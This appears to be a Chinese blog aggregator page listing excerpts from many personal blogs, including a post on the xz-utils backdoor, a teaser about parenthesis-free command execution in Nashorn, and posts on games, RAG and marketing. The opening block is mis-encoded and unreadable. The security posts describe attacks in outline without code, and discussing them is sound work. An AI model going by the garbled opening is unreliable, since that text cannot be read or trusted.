�����ҽ����ڰ���Ĺ���������Ϊ��˾��ͣ�� Ant Engine �����Ŀ���Ҹо���˾�����뷢չ�Լ�����Ϸ�ͻ������棬�����Dz���ͬ�Ҷ��� Ant Engine �ķ�չ�滮����Ȼ����Щ���ڸ����ƶϣ��������ҵĸ��˹۵㡣ʵ���ϣ�������ϷĿǰ������־ս��Ϊ�������Ϸ�ײ���Ȼ�����Լ��з��Ĵ��룬Ҳû��Ǩ�Ƶ� Unity ����ҵ�����ϵļƻ�������Ȼ��һ֧��С�ļ����Ŷӳ���ά���С�ϣ�����ǽ����������ø��á�
���ڶ�������뿪�����뿪ǰ�������һ���£���������Щ�꿪���� Ant Engine ��Դ�������������ڶ����뿪����һֱ�ڹ�˾��Ŭ���ٽ�����ķ�չ����Ϊ�����ľ��������������Һ��ҵ�С�Ŷ��� Ant ���濪���������һ��һ����ӡ�ߵú�̤ʵ���ҿ��Ը�������� 80 �֣����������й�Ȼ���˺ܶ�������գ�����˷��ļ������⣬�����ҵ�������Χ�ڽ���ĺܺá�����������������Ȼ�����ף����ܹ���������ר�Ŀ��������ѵõĻ�Ե�����챾Ӧ�ǿ�ʼ�������������ʱ���ˡ�
�������£��Һ�˾������Ŀ����˳�̸����Ŀ�����ˡ��������������� ���о�����ʱ��˵�Ļ������˹�ȥһ�ꡣ�Ұ��ҵ�����ﵽ�ˡ�ͨ��������������Ϸ��Ҳչʾ����������������� Lua ���ٿ�����ͬʱ��֤�����ֻ�ƽ̨�ϵĸ����ܣ���ǰ������ͼ�ι��߱��ֳ��Ļ��㾫�µĻ��档�Լ�������Ϊ����Ҫһ�㣺û��Ƿ�¼���ծ��
������˵���˲����ˣ�����ϧ���ǣ����µĹ�˾���������շ�����������������Ϸ�����и����ȵ�����Ҫ�������ٵȵ�������������������档������Щ��ͨ���뿪Ҳ���������ź������Ѿ��������������������£�����ȥ����Ĺ���Ҳ��������˵������������
֮����Ȼ�����Ŷ�����רְ�������棬����Ҷ����������и��顣�������幦�ܾ�����ɣ����汾������ƾ������ڷ�����չ���ҵ��뷨���������� skynet ������ֻרע��ά������ĵIJ��֡������Ѿ���Դ���Dz���רְ����Ҳ�Ͳ���ô��Ҫ�ˣ���Ҫ�����߶�����ҵ��ʱ�価��ά����
���ң�Ҳ��������һ���ó̡��������뷨������һ�� Windows ƽ̨�Ķ�����Ϸ����Ȼ�����ڹ�ȥ��һ���Ѿ�����һ���������ǹ�������Ϸ��������Ҫ��Ϊ��չʾ�������ֻ�ƽ̨�ϵ����������� gameplay ���滹������������Ҳ�����Ϊ�ֻ��Ǹ��õĶ�����Ϸƽ̨����Ҫ�����ķ��� PC �ϡ������ Windows �Լ� Steam ��֧�֣������ҵĶ��ڹ�������Щ���������Լ����ֱ�д��Ϸ���룬�������ơ�
�����������Ķ�����Ϸ�����������С����濪���Ŷ���Ψһ������Ҳ����һ���뿪�������һ�������֣�����һ���Զ�����Ϸ�����м������Ȥ���ڽ������ļ����£����ǻ�һ���롣
- 博客 二丫讲梵 2024-05-06 01:23:35如要阅读全文，点击标题跳转。城乡四月遍地花,请假三日早还家.屋内喧嚣因何处,二童相争一个爸.
- 博客 卢昌海的个人主页 2024-05-06 00:29:00站长关于 UFO 的新作，也是同名视频的文字脚本，附有视频链接
- 博客 太隐 2024-05-04 16:05:05366
- 博客 太隐 2024-05-04 12:30:00367
- 博客 西秦公子 2024-05-03 21:15:59在开发过程中，你可能会需要实现某些和工作日相关的特性（比如，工作日才发某些通知 /推送），这个时候，你可以借助 […]
- 博客 卢昌海的个人主页 2024-05-03 20:03:00站长在 YouTube 频道发布的最新短视频的文字脚本 (附频道及视频链接)
- 博客 二丫讲梵 2024-05-03 05:06:27如要阅读全文，点击标题跳转。学习周刊-总第157期,抓包工具与es客户端
- 博客 卢昌海的个人主页 2024-05-02 18:58:00站长 2024.04 发布的微博文字选录
- 博客 卢昌海的个人主页 2024-05-02 08:45:00Collected posts on Threads between 2024.01 and 2024.04
- 博客 构建我的被动收入 2024-05-01 08:00:00本文通过直播的方式分享笔者完全用AI驱动开发的方式开发上线一款产品的全流程。
- 博客 太隐 2024-04-30 11:20:00374
- 博客 扯氮集 2024-04-29 14:38:12《幕府将军》完结，豆瓣8分，IMDB更高，8.9分。果然是拍给西方人看的。 前两集蛮惊艳，毕竟服化道确实到位， 更多...
- 博客 扯氮集 2024-04-26 14:41:37一 2024年4月，北京车展。 有人戏称，在传统意义上的车模缺位后，所有目光都聚焦在两个人身上：一个红男，一个 更多...
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合A股2号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合A股3号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合A股全球的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合加密币1号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合加密币2号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合美股1号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合美股2号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合美股3号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合美股4号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合美股全球的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 构建我的被动收入 2024-04-26 08:00:00本文介绍策引全球投资组合A股1号的详细情况，包括交易策略、资金策略、标的池及历史回测表现等。
- 博客 二丫讲梵 2024-04-26 05:52:52如要阅读全文，点击标题跳转。学习周刊-总第156期,一个通用的开源落地页模板
- 博客 Tinyfool的中文Blog 2024-04-25 10:52:49
在 Swift 中，@available 是一个属性标注（Attribute），它用来表示一个类、结构体、枚举 […]
Swift编程中应用@available和deprecated在自己的编程中提供便利最先出现在Tinyfool的个人网站。
- 博客 太隐 2024-04-23 19:53:19390
- 博客 Randy's Blog 2024-04-22 08:00:00391
- 博客 卢昌海的个人主页 2024-04-21 20:35:00站长在 YouTube 频道发布的同名视频的文字脚本，附有视频链接
- 博客 欧雷流 2024-04-21 16:58:16
- 博客 oldj's blog 2024-04-21 14:17:00
最近几个月打了很多次牌，有时是线下聚会时和朋友玩，有时则是在手机上玩。玩得久了，逐渐发现扑克牌游戏和现实生活中的规则有一些类似之处。以下是一些感想。
手中的牌
打牌时，手中拿到什么牌非常重要，这一点很容易理解，无论你是高手还是菜鸟，如果起手就拿到一手好牌，那么只要不乱打，并且运气不是差到极点，你基本上都能赢。同样的，就算你是绝顶高手，如果拿到一把烂牌，要赢恐怕也非常难。
当然，拿到极品好牌和极品烂牌的概率都不大，很多时候，我们以及我们的对手拿到的都是中等牌，这种时候，如何组合手中的牌打出最好的效果，就看各自的技术了。
我们的人生也类似，总有一些人一开始就拿到一手好牌，比如家境良好，父母见识不凡，自身也健康聪明，因而只要自己不走错路，人生总体上会非常顺利。还有一些不那么幸运的人，出生在落后的地方贫穷的家庭，几乎没有什么可利用的资源或者助力，要获得成功可就不容易了。
拿到好牌时，不要得意忘形，因为你的成功很大程度源于运气。拿到烂牌时，也不要破罐子破摔，认真思考，尽最大努力打好手中的牌，因为只有这样你才能多一点获胜的机会。
合适的才是最好的
摸牌的时候，一般来说摸到大牌比摸到小牌更好一些，不过稍有经验就会发现，和单独的大牌相比，那些能让现有的牌组合起来的牌可能更好。比如，有一些时候，摸到一张最小的 2 可能会让你的几张散牌组成同花顺，这时对你而言 2 就比大王更好。
生活和工作中也是类似，有一些团队，单独来看每位成员可能都相对普通，但由于配合出色，于是团队整体的战斗力非常强悍。
团队招人的时候，也不是招越牛的人越好，而是要看新来的人能否让团队的整体能力得到提升。有时候，也许加入一位履历一般但却能搞定一些其他人不擅长处理的小事的成员，会让团队整体焕发新生。同样的，一位看似不重要的成员离开，也有可能打断团队内部的某种连接，让团队效率大受影响。
寻找人生伴侣也是如此，那些光彩夺目的潜在选项当然也不错，但一位能与你互补，让你成为更好的自己的伴侣，也许是更好的选择。
本钱
拿到什么牌很大程度上能决定你单局的胜负，有多少本钱则决定你能在牌桌上待多久。
以腾讯欢乐斗地主的掼蛋游戏为例，新手场单场输赢封顶是 5 万欢乐豆。即如果你手中的欢乐豆不足 5 万，那么你赢的时候手中的欢乐豆翻倍，输的时候会赔得精光。当然，实际上输赢的数额还取决于对手的豆子够不够，不过为了简化讨论，此处我们假设对手总是有足够的豆子。
这个规则很容易理解，而且看起来似乎也很公平。但在玩了很多场之后，我发现这其实是一个对水平普通且本钱较少的玩家非常不友好的规则。
假设你是一位普通水平的玩家，即你的水平处在中游，每局有 50% 的概率赢，也有 50% 的概率输，并且初期你只有 1000 欢乐豆，你会面临什么情况呢？
当你的豆子数量在 5 万以下时，无论你之前赢了多少次，只要输一次，你的豆子就被清空了。也就是说，想要让自己的豆子超过 5 万，你需要连赢 \(6\) 次，才能让自己的豆子从 1000 增长到超过 5 万的数量（\(1000 \times 2^6 = 64000\))。但是，由于你的赢率只有 50%，因此连赢 6 次的概率也只有 \(\frac{1}{2^6}\)，即 \(\frac{1}{64}\) 或者 1.56% 。
但即使你有了 6.4 万豆子，你仍然不安全，只要连输两次（发生的概率为 \(\frac{1}{4}\) 或 25%，这并不是一个小概率），你就又会回到一无所有的状态。要让自己更安全一些，你可能需要至少 20 万豆子，这样只有连输四次（发生的概率为 \(\frac{1}{16}\) 或 6.25%），你才会输光所有豆子。而要从 1000 豆子变成 20 万豆子，你需要先连赢 6 次，然后在接下来保住本金的情况下再净赢至少 3 次。
粗略计算一下就可以知道，作为一名赢率只有 50% 的中等水平玩家，取得这个成就的概率不足 1%。
另一方面，如果你仍然只是一名中等水平的玩家，但你已经有 20 万甚至更多的豆子了，会怎么样呢？
由于你的输赢概率各一半，并且每次输赢都只是增减 5 万欢乐豆而不是一下子输光所有，因此你的账户余额从概率上来讲将会一直持平。期间可能会因为随机因素出现一些波动，甚至有非常小的概率你在某次大波动中余额被击穿从而破产，但更大的概率是你的资产经过波动之后又回归到初始值附近。
换一句话来说，对一名中等水平玩家来说，从底层逆袭的成功概率极小，因为在初期他需要连赢很多次才行，同时只要输一次就会完全失败。但同样水平的玩家，如果一开始就拥有大量本钱，他却有很大的概率能守住这些财富，因为他不怕输，即使输了也仍然有机会赢回来。也即本钱越少，越不容易出头，财富越多，则越容易守住财富。
这大概也是阶级固化的一种解释吧。
- 博客 二丫讲梵 2024-04-19 16:50:44如要阅读全文，点击标题跳转。在前边的两篇文章中，首先介绍了当下最火热的本地大语言模型管理框架 ollama 的入门，之后又单独开了一篇介绍的核心概念及问题，谈到 rag 的问题之后，最后我得出的结论是，劝退，劝退你，也劝退我自己。但，且慢，上篇文章已经把理论，以及流程都介绍完了，那，不亲自上手玩一玩，岂不是显得太过纸上谈兵了。因此，这篇就是通过一个简单的示例，结合 langchaingo 来实现一下自己开发 rag 应用的整个流程。
- 博客 二丫讲梵 2024-04-19 08:17:35如要阅读全文，点击标题跳转。学习周刊-总第155期,又一款开源的数据库软件，又一款开源的类似沉浸式翻译的插件
- 博客 构建我的被动收入 2024-04-17 08:00:00本文分享如何零成本开通A股与美股的各类证券账户并开启全球投资之旅的个人经验。
- 博客 太隐 2024-04-16 18:30:00未来已至，只是尚未流行
- 博客 扯氮集 2024-04-15 14:44:37六神磊磊写了一篇很有趣的文章，从准专业角度复盘：猫一杯为啥玩脱。此文有趣就有趣在。。。算了，我觉得懂的都懂。 更多...
- 博客 二丫讲梵 2024-04-15 07:21:00::: warning 前言 高中时读到：群居终日，言不及义。
- 博客 二丫讲梵 2024-04-15 06:14:39如要阅读全文，点击标题跳转。我对 rag 算不上特别了解，本文只是一个基于当前阶段，个人的一些理解与认识，希望记录下来，纯粹是为了给自己的一些付出做一个阶段性交代。因此这不是一篇资深人士或者专业人士的专业分析，而是一篇面向像我一样的门外人士的简单入门，认识了解 rag 的文章。如果你已经十分熟悉，那么完全可以跳过不看，我也在纠结个人粗浅的认识要不要记录下来，但就像最初记录博客文章的初心那样，不要因为内容粗浅而不记录，这正是自己学习成长的一个见证。
- 博客 太隐 2024-04-13 20:30:00402
- 博客 扯氮集 2024-04-12 14:45:55一 微软这个以软件业起家86年就上市的科技公司，一度负面声音很多也很大。 比如说，由于是卖软件拷贝出身，互联网 更多...
- 博客 离别歌 2024-04-12 10:00:00
昨天『代码审计』知识星球里有同学向我提了一个有趣的问题：
简单来说就是，在Java的Nashorn脚本中，如果不允许使用小括号
(、)和中括号[、]，如何执行任意命令？0x01 浏览器JavaScript无括号XSS
我们知道，Nashorn脚本本质上是JavaScript，而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号，所以解决问...
- 博客 二丫讲梵 2024-04-11 07:17:48如要阅读全文，点击标题跳转。prometheus 大概在 2.30 版本左右的时候，增加了 remote write 的能力，这是一种有别于 exporter 暴漏指标由 prometheus 拉，以及 pushgateway 推的指标上报方式，你可以借助于这种方式上报你的指标，也可以基于此能力，将多个集群的指标汇聚到一个集群之中。腾讯云的 cls 推出了指标主题的类型，其支持的，也正是这种 remote write 写入的方式。
- 博客 二丫讲梵 2024-04-11 06:54:35如要阅读全文，点击标题跳转。学习周刊-总第154期,目前体验到最好用的全面的环境多版本管理工具，支持go,node,java,python等
- 博客 欧雷流 2024-04-10 13:00:52
不知为啥，我有那种有点无法自控的爱管闲事儿的臭毛病，因而在有的微信群中把自己群昵称改成了「热心网友」。
最近有些同行在找工作，刷八股文，问某种面试题该怎么回答，诸如此类。
看到他们那样，我心里就急得上蹿下跳的——明明前方是火坑，咋还接二连三看似心甘情愿地往里跳呢？？？
在当下这个时间点，我的同行绝大部分是以 HTML、CSS、JavaScript 等为核心的「Web 前端」，他们之中绝大部分是业务前端，这些人中绝大部分做中后台类应用。
中后台的「势」
中后台类应用有两个重要特点——
第一，业务流程和数据安全远远优先于产品体验，与所谓的「产品力」、花里胡哨的视觉设计等相比，让业务流程顺利地走下去，使数据保持完整要重要得多，其他的只是锦上添花。
尤其是在面向制造业等实体行业时，就算没有数字产品，业务也照样跑，只不过是效率低了些；数字产品只为提效而存在，无权改变既有业务规则，不能本末倒置。
所以说，做中后台类应用的公司或部门不需要 to C 的那种「产品经理」，需要的是能够梳理明白业务方（主要是行业或领域专家）需求且准确传达的「需求经理」。
第二，中后台类应用前端部分高度模式化，又由于是业务与数据优先，在整个系统层面可以更好地建模，并抽象出以模型为源头向应用成品自动推导的构建管线。
也就是说，只要从业务中提取出了模型，基于某种机制在描述出各种关系后，就能够直接看到应用可操作的最终效果。
描述关系的方式可以是：
- XML、JSON、JS 纯对象等类编程体验的 DSL；
- 在页面中拖拉拽的可视化操作；
- 让 AI 理解需求文档后转译。
其中，最后一种便是我所提倡并追求的「知识驱动的、智能的产研一体化平台」所具备的能力。
至于那个「机制」是什么，目前我看好的有两个：
但他们都缺少纯前端部分的支持，我的「反混沌前端工程」会把这个空位补上。
工程师的「命」
在 ChatGPT 出现在大众视野之前，我们就认为在中后台类应用研发流程中设计师与前端工程师会被干掉，由「需求经理」与后端工程师协作就能胜任。
而 ChatGPT 及类似产品的出现，让大部分后端 CRUD 工程师被干掉也成为了可能，「需求经理」仅需编写详实的需求文档即可。
既然业务研发工程师会被知识驱动的、智能的产研一体化平台所替代是「势」，那我们何不去加快这个进程？！
在我们看来从事此类研发的岗位是没有未来的，但有些人并不如此觉得——或以现状的眼光去思考，或认为人类比 AI 强。
然而事实是——科技的迭代与增长速度从来不是线性的，其发展所带来的影响之一就是要求人们革新自己的知识与技能；人类最愚蠢的地方就是自以为是。
结语
虽然本文中主要聊的是中后台类应用的业务研发工程师会「死伤惨重」，不代表 to C 的就「毫发无损」，只不过比例不会那么大。
与我所秉持的设想相比，师兄的一个说法更夸张了点——没准儿哪天 AI 大力出奇迹，直接生出由源码构成的应用，而不是那种经过层层抽象的。
这种应用是个黑盒，从软件工程角度来看是不可维护的，任何最佳实践、优化手段都将失效——既没意义，又没必要——就像有了车之后，关于骑马的知识与技能都没用了。
很多时候我觉得自己像是那种人——告诉别人几天后大家会迎来灾难，要赶紧逃亡，然而一个个却觉得我是在胡说八道，看我笑话。
所以，这是我最后一次的劝诫，希望看到且看懂的人能有所行动，别再往火坑里跳。
- 博客 二丫讲梵 2024-04-08 08:06:48如要阅读全文，点击标题跳转。Krew 本身是一个 kubectl 的插件，同时也是一个 kubectl 的插件包管理器。借助 Krew，可以轻松地使用 kubectl plugin：发现插件、安装和管理插件。使用类似 apt、dnf 或者 brew。截至今日，社区已有 242 个插件，借助这些插件，能够实现很多个性的需求。很多文章介绍的离线资源，仍旧是通过 github 下载之后获取到，然后再传到服务器进行安装，而有一些朋友可能本地连 github 也是有一些困难的，考虑到这一层原因，我特地把当前 krew 最新版本的包封装到镜像内，便于你直接拿到。krew 是个好东西，它之所以在国内不够盛行，应该与受限于网络环境导致安装比较费劲儿有很大关系。因为 krew 自身以及插件的安装都是从 github 下载资源，大多数国内的 k8s 集群可能访问 github 都是比较费劲儿的，所以本文就来介绍一下如何离线安装 krew 及其插件。
- 博客 Tmr Blog 2024-04-07 21:22:29409
- 博客 西秦公子 2024-04-07 20:35:01官方PDF说明书下载地址：https://www.ricoh-imaging.co.jp/english/su […]
- 博客 欧雷流 2024-04-07 18:10:50
- 博客 太隐 2024-04-06 15:30:00盼望着，盼望着，东风来了，春天的脚步近了
- 博客 二丫讲梵 2024-04-05 06:24:38如要阅读全文，点击标题跳转。学习周刊-总第153期,开源的监控 Github 代码仓库是否有泄漏的系统
- 博客 二丫讲梵 2024-04-05 05:47:39如要阅读全文，点击标题跳转。一些 docker 镜像，从官方拉取总是很困难，即便用一些加速方案，效果也仍旧不理想，于是，多数时候，使用频率比较高的镜像，我都会 tag 到自己的阿里云仓库，日积月累之后，也有了不少的镜像，其中不少镜像都可对公使用，所以这里做个列表，以便参照应用。
- 博客 程序员的喵 2024-04-05 02:04:33
写写最近一周的大瓜 xz-backdoor，该事件可能成为开源供应链安全的一个分水岭，从技术角度看，这里面的社工和混淆也是精彩。
简单介绍一下背景，xz 是一个开源的无损压缩工具，在出事之前可能很少有人注意到这个压缩库使用如此之广，几乎任何一个 Unix-Like 的操作系统里面都有 xz-utils。在两年多的时间里，一个名为
Jia Tan的程序员勤奋而高效地给 xz 项目做贡献，最终获得了该项目的直接提交权和维护权。之后他在 libzma 中加入了一个非常隐蔽的后门，该后门可以让攻击者在 SSH 会话开始时发送隐藏命令，使攻击者能够跳过鉴权远程执行命令。Timeline of the xz open source attack 总结了该事件的主要时间点，这里我挑一些关键节点：
潜伏
- 2005 ~ 2008 xz 项目的初始版本，这是一个文件压缩算法，主要由 Lasse Collin 开发和维护。
- 2021-10-29 ~ 2022-06-29 Jia Tan 开始较为密集地给 xz 项目贡献代码，同时几个类似马甲的账号 (Jugar Kumar, Dennis Ens) 在邮件列表里抱怨 Merge 得不到及时处理，问题得不到回复，有点逼宫的意思，在这个过程中项目主导者 Lasse Collin 把最近的优秀贡献者加入了维护者列表。
准备
- 2022-09-27 Jia Tan 获得了信任，并开始主导新版本的发布，他在这期间做了几个看似合理的 PR，但其实是在为今后的后门做伏笔，另一个马甲 Hans Jansen 提供了一个钩子可以让后门里的代码替换全局函数，从而绕过检查。
- 2023-07-07 Jia Tan 在 Google 的 oss-fuzz 提供修改禁用了
ifunc，这也是为了避免 fuzz 可能发现后门。发动
- 2024-02-23 Jia Tan 发布了第一个有害的 PR，在测试代码中包含了几个 binary 文件，这些文件看起来只用于测试，所以在代码 review 的过程中肯定不会被仔细查看。
- 2024-02-26 Jia Tan 通过一个非常隐蔽的提交，给 CMakeList.txt 增加了一个
.，使得代码会编译失败从而让 Landlock 不会被激活。 - 2024-02-24 Jia Tan 发布 v5.6.0，其中使用脚本混淆悄悄地把后门的 payload 塞进了目标文件中。Gentoo 和 Debian 开始在 unstable 版本中含有后门。
- Hans Jansen 同时在发邮件催促 Debian 升级 xz 到 v5.6.1
暴露
- 2024-03-29: 一个叫 Andres Freund 的开发者在分析一个 sshd 可疑的 500ms 延迟时，发现了隐藏在 xz 的恶意后门。如果不是偶然的发现，估计现在世界上无数的服务器处于肉鸡状态，这位微软的员工如英雄一般拯救了世界。
攻击者是中国人？
从主要攻击者的名称看似乎是中国人，但 Git 昵称和时区这种东西很容易伪造，有人分析过开发者的代码提交时间，分析得出实际可能是欧洲人/以色列人冒充。
但不可否认，肯定会有不少国外的开发者会默认这就是中国人所为，我也看到了一些开发者开始带节奏，开始找各种和 Jia Tan 有过互动的中国程序员。
我倾向于相信这不是中国攻击者，感觉其 commit 信息里面的英文中没找到中式表达。比较确定的是，从这些马甲之间的密切配合来看，这像是一个有密谋的组织团体。
开源软件的脆弱性
开源意味着透明，但并不意味着安全。
10 多年前我们经历了 OpenSSL 的心脏滴血，如今类似的事情再次发生。甚至这次事件的性质更严重，心脏滴血漏洞本身是因为代码的逻辑问题导致被恶意利用，而这次是攻击者通过供应链恶意植入后门。
有一种观点是开源软件被更多人 review，所以理论上来说安全漏洞更容易被发现。但实际上看来，被巧妙设计过的代码改动，很不容易被发现问题，比如这次事件中这个提交，我相信绝大部分开发者无法发现被恶意添加的
.:
这次后门被发现有很大的运气成分，多亏了 Andres Freund 的细心和刨根问底的精神，这也算是有足够多的眼睛盯着所以发现了问题吧。
如何预防
如果有一个开源贡献者的身份识别机制，就可能预防类似的事情。我看到有人举例 Linux Kernel 提交必须使用 Git 的 Sign-off，但这个 Sign-off 更多的是在解决法律上的问题，Sign-off 本来就是因为法律诉讼而引入的。而且，在最坏情况下，一个开发者可能被社工或者入侵而导致身份被冒用，所以 Sign-off 并不意味着身份识别。
有的人提到通过支付来进行 KYC(Know Your Customer)，这必然是不可能的，因为开源本来就是一个黑客文化的产物，大量的开发者会刻意选择使用匿名身份提交代码。
我们来看看 Bitcoin，如果论项目值钱程度，比特币的代码应该能排得上号。但比特币是支持 Permissionless and Pseudonymous development 的，甚至这是保证比特币去中心化的两个很重要的手段，中本聪的身份仍然是一个迷。中本聪选择匿名对比特币本身来说也至关重要，
No one controls Bitcoin是其价值根本。那比特币如何保证不会被植入后门，比如这种供应链攻击？
- Reproducible builds，这是个极大地缓解供应链风险的办法，不同的人编译相同的源代码必然得到相同的二进制文件，binary file 不能存在于源码库中。Bitcoin 使用 Guix container 从源码编译所有的东西，contrib: Enable building in Guix containers，这个过程可以在任何 Linux 发行版上重现。在这个过程中，几乎所有的一切都从源码编译，所以会存在一个鸡生蛋蛋生鸡的问题，为了解决这个问题必然会需要一些 binary files，但最好是将这个范围限制到最小，Preparing to Use the Bootstrap Binaries。
- Don’t forget to verify yourself！
另外比特币的安全在于 PoW，其设计本来就假设了少部分节点可能是恶意节点，除非黑客控制住了大部分节点才能造成破坏，而要达成这点在的概率可以认为就是零
开源的可持续性
从这个安全事件我们可以继续探讨开源的可持续性这个问题。这个事件中 xz 的维护者 Lesse Collin 看起来已经是处于疲于应付的地步。从贡献者统计可以看到这么多年几乎就是他一个人在给项目提交代码，Jia Tan 通过两年的潜伏就成为了贡献者第二的开发者：
长时间维护一个被大量使用的开源项目是个巨大的负担，对维护者而言不仅仅是时间的投入，有时候也是精神上的折磨，即使开发者当初的有多好的愿景，但谁也无法保证常年的持续投入。关于这点可以阅读这篇文章，The Dark Side of Open Source。
Lesse Collin 在这次事件中被利用了这个弱点，他在这封邮件里解释到自己作为项目主导者的困境：
写到这里我想起自己也曾经催过一个库的作者，是不是考虑让更多人来维护项目 Maintenance status · Issue 😅。
也许未来可能有一套机制，能够让基础开源软件的维护者得到经济激励，但这条路如何演化出来我还没看出来，如果真的出来或许与加密货币有一定关联。
可怕的是，现在还有很多人没有意识到开源贡献者困境，那些价值几千上万亿的公司也是在期望开源的开发者能够像雇员似的响应他们的 High Priority：
这个世界上还是有无数的默默耕耘的开源代码维护者，比如 SQLite，全球大概有上万亿的 SQLite 数据实例跑在服务器上、手机上、浏览器里，但这个软件其实只由 3 个程序员维护了 20 多年；几乎所有工程师都使用的工具 curl，由 Daniel Stenberg 从 1998 维护到至今；vim 的作者 Bram Moolenaar 从 1991 年维护项目到自己去世，总共整整 32 年。
实际上没有人知道，多少被广泛使用的基础组件和代码是由各种默默无闻、分毫未取的开发者在用自己的业余时间维护着。
从这个角度看，人类数字基础设施这艘巨轮其实建立在非常脆弱的基础上，说不定哪天一个地方就裂开了。我现在养成了一个习惯，升级从来不追新，任何安装到自己电脑上的二进制都小心翼翼。
这个世界上有无数的恶魔，也会有一些英雄和吹哨人，致敬 Andres Freund。
- 博客 西秦公子 2024-03-31 22:05:34每年我都会给自己开一些新的坑，用于探索新的技术方向、新的领域。2024 年，我的新项目是 —— Read it […]
- 博客 扯氮集 2024-03-29 14:52:44半年多前，我开始玩一款叫《dragon heir》（译名龙息神寂）的游戏，并成功将馒头大师拖入坑中——是的，他 更多...
- 博客 二丫讲梵 2024-03-29 06:20:39如要阅读全文，点击标题跳转。学习周刊-总第152期。一个简单的构建框架，具有快速、可重复的构建和立即熟悉的语法 - 就像 Dockerfile 和 Makefile 一样。
- 博客 太隐 2024-03-28 18:50:00419
- 博客 西秦公子 2024-03-27 00:35:31在一开始使用 CapRover 时，我使用的是一个 10 GB 的数据盘，但在部署了诸多应用后，10GB 的数 […]
- 博客 西秦公子 2024-03-26 22:52:00我在开发前端应用的时候，基本上使用的都是 Vercel ，究其原因，主要是以下几个点： 但 Vercel 毕竟 […]
- 博客 唐巧的博客 2024-03-26 10:35:19
最近读完了一本市场营销的教材–《营销管理》，以下是一些感悟总结。
营销不是销售
我很高兴在这样一本权威的营销教材上看到这样的描述：“销售只是营销的冰山一角”。书中引用了管理大师德鲁克的话：
我们可以假定，对销售的需要总是存在的，但市场营销的目标就是让销售变得多余。市场营销的目的是很好地认识和了解顾客，让产品或服务适合顾客并实现自行销售。在理想情况下，市场营销的成果是使顾客产生购买意愿。之后所需要的就只是提供足够的产品或服务。
我非常赞同这句话，我们的销售团队大部分精力都花在了如何卖货上，他们想着如何优化售卖的话术，如何逼单，如何让消费者感受到优惠。但其实最好的营销是让产品能够实现“自行销售”。
在让产品实现自行销售这件事情上，做得最好的恐怕就是 Elon Musk 了。Musk 没有为 Tesla 打任何广告，但是他却非常懂得如何营销。他会选择在市场不成熟的情况下，从高端的豪华车 Model S 切入，先做小众市场，再过渡到大众市场。他会为 Model X 设计酷炫的鸥翼门。他也会将 Model S 发射到太空中。他不断讲述自己的理念：加速世界向可持续能源的转变。最终特斯拉成为了全球市值最高的新能源汽车公司。
4P 的不足
大家都知道 4P 理论，4P 指营销中的 4 个关键因素：产品（product）、价格（price）、促销（promotion）和地点（place）。
作者在书中指出了 4P 理论的 3 个缺陷：
- 无法区分供应品是产品还是服务。
- 将品牌视为产品的一部分而非独立的属性。
- 对“促销”一词的界定模糊，包含了激励和沟通两种行为。
于是，作者将 4P 扩展为 7T，分别为：产品、服务、品牌、价格、激励、沟通和分销。
- 产品是一种商品，为目标顾客创造价值。产品可以是有形的（如食品），也可以是无形的（如软件）。购买产品将赋予顾客对产品的所有权。
- 服务。服务也为顾客创造价值，但并未赋予顾客所有权。如：就医流程，设备维修，理发等。
- 品牌。品牌的目的是识别公司提供的产品或服务，并将其与竞争对手区分开来。
- 价格。顾客为获得产品而支付的费用。
- 激励。通过降价或者加赠来提高产品价值。通常形式包括：批量折扣、降价、优惠券、赠品等。
- 沟通。沟通是向目标顾客告知产品细节以及购买方式的行为。
- 分销。分销是指向目标顾客提供产品的渠道。
从为顾客创造价值角度：
- 产品、服务、品牌、价格、激励都在设计层面上服务于价值；
- 沟通是在让消费者了解到价值；
- 分销是传递价值的渠道；
消费者决策流程
我们先看书中是怎么写的：
市场营销学者构建了这个决策过程的“阶段模型”，其中消费者通常经历五个阶段：问题识别、信息搜索、方案评估、购买决策和购后行为。
消费者做出购买决策的过程及其购后行为通常被称为消费者决策旅程。使用“旅程”的说法是因为消费者做出购买决策的方式并不总是线性过程，相反，它通常是一个迭代过程。
消费者并不总是经历所有的五个阶段，他们可能会跳过或逆转某些阶段。当你购买经常使用的牙膏品牌时，你会直接从问题识别阶段进入购买决策阶段，跳过信息搜索和方案评估。
我对这部分的感受是：我们的营销团队在考虑产品售卖的时候，常常会放大“赠品”对售卖的影响，但其实从消费者购买决策流程来看，赠品是其中非常小的一个环节，只是属于 7T 中的“激励”中的一部分。
过于关注赠品，会使得整个营销过程将问题识别，方案评估等这些重要环节忽视。拿直播间来说，一个好的直播间应该重点讲用户需求，讲产品的解决方案，最后再用优惠和赠品来关单。但是很多自播或者达播直播间，上来就讲这个东西多么便宜，多么优惠，错过就没有了。这种讲解法不但转化效率也是低下的，也会带来极高的退款率。
对于一个长期经营品牌的公司来说，这种讲解法也会让品牌的积累变得薄弱，因为只有强调解决方案本身的优秀才能让消费者认同产品，从而慢慢积累对产品所属品牌的认同。
以上。
- 博客 西秦公子 2024-03-25 06:00:00在开发应用的时候，我们会选择使用 PostgreSQL 作为数据库进行开发，但在 Github Actions […]
- 博客 西秦公子 2024-03-24 20:08:55在开发前端应用的时候，我比较推荐在真正开始写代码之前试着画一画组件树 / 状态树。 在很多时候，可能你的设计师 […]
